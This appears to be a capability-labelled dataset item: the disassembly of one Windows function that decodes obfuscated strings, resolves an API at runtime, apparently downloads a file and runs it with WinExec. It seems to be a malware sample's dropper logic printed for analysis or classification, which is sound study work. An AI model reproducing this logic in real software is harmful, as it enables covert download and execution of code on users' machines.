Function at 0x404fb8
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x404fc2
mov eax, dword [esp + 0x8000]
add esp, 0xfffffbf8
mov dword [esp + 4], edx
mov dword [esp], eax
lea ebp, [esp + 0x409]
mov byte [esp + 8], 0
mov eax, ebp
mov edx, 0x8000
call fcn.00403090
push 0x405384
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x4053ac
lea eax, [ebp + 0x400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4053c0
lea eax, [ebp + 0x800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4053d0
lea eax, [ebp + 0xc00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4053e8
lea eax, [ebp + 0x1000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4053fc
lea eax, [ebp + 0x1400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40541c
lea eax, [ebp + 0x1800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405444
lea eax, [ebp + 0x1c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405460
lea eax, [ebp + 0x2000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40547c
lea eax, [ebp + 0x2400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405494
lea eax, [ebp + 0x2800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4054b8
lea eax, [ebp + 0x2c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4054c8
lea eax, [ebp + 0x3000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4054ec
lea eax, [ebp + 0x3400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405500
lea eax, [ebp + 0x3800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405514
lea eax, [ebp + 0x3c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405524
lea eax, [ebp + 0x4000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405538
lea eax, [ebp + 0x4400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405550
lea eax, [ebp + 0x4800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405570
lea eax, [ebp + 0x4c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405580
lea eax, [ebp + 0x5000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405598
lea eax, [ebp + 0x5400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4055b0
lea eax, [ebp + 0x5800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4055cc
lea eax, [ebp + 0x5c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4055e8
lea eax, [ebp + 0x6000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405608
lea eax, [ebp + 0x6400]
push eax
call sub.kernel32.dll_lstrcpyA_1
xor ebx, ebx
mov esi, 0x1a
mov edi, ebp
lea edx, [esp + 9]
mov eax, edi
mov ecx, 0x9e
call fcn.0040232c
lea eax, [esp + 9]
push eax
push 0x407e24
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x4051dc
mov bl, 1
jmp 0x4051e5
add edi, 0x400
dec esi
jne 0x4051b5
test bl, bl
je 0x405372
mov ecx, 0x407b18
mov edx, 0x405618
mov eax, 0x405620
call fcn.00402d94
mov esi, eax
cmp esi, sub.kernel32.dll_GetStdHandle
jne 0x405372
mov ecx, 0x407b18
mov edx, 0x405628
mov eax, 0x405620
call fcn.00402d94
mov esi, eax
cmp esi, dword [esp]
jb 0x405372
mov ecx, 0x407b18
mov edx, 0x405630
mov eax, 0x405620
call fcn.00402d94
mov esi, eax
cmp esi, dword [esp + 4]
jb 0x405372
mov eax, 0x407c1c
call fcn.00402718
test al, al
je 0x405372
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403090
push 0x2d
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060a0
mov ecx, 0xa
call fcn.00402404
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x405372
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403090
push 0x6f
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060ac
mov ecx, 0x12
call fcn.00402404
lea eax, [esp + 9]
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
test ebx, ebx
je 0x405372
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403090
push 0xe8
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060c0
mov ecx, 0x2b
call fcn.00402404
push 0
push 0
push 0x407c1c
lea eax, [esp + 0x15]
push eax
push 0
call ebx
test eax, eax
jne 0x405372
push 0
push 0x407c1c
call sub.kernel32.dll_WinExec_1
cmp eax, 0x20
jbe 0x405372
push 0x407b18
mov ecx, 0x405638
mov edx, 0x405618
mov eax, 0x405620
call fcn.00402d20
push 0x407b18
mov ecx, 0x405638
mov edx, 0x405628
mov eax, 0x405620
call fcn.00402d20
push 0x407b18
mov ecx, 0x405638
mov edx, 0x405630
mov eax, 0x405620
call fcn.00402d20
mov byte [esp + 8], 1
mov al, byte [esp + 8]
add esp, 0x840c
pop ebp
pop edi
pop esi
pop ebx
ret